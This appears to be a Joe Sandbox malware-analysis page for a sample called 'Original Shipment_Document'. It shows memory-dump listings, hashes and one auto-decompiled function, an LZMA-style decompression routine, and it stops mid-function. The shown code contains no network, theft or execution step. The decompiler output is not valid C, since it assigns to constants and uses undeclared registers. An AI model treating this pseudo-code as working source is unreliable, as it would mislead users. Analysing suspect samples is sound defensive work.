Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44bbdf33ec7f108dda38e1aea2654f49b41f099e7fd30195a120594a7dd3ba7e
Instruction ID: 0eb50412ba17cbd686f9e43e0b7d85c943a315db4d9133bb66c32ce13943f697
Opcode Fuzzy Hash: 44bbdf33ec7f108dda38e1aea2654f49b41f099e7fd30195a120594a7dd3ba7e
Instruction Fuzzy Hash: E7813471E04229DBDF24CFA9C8447ADBBB0FB44305F24816ED856BB281C7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406E9D Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406E9D() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M004074A1))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4)); // executed
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
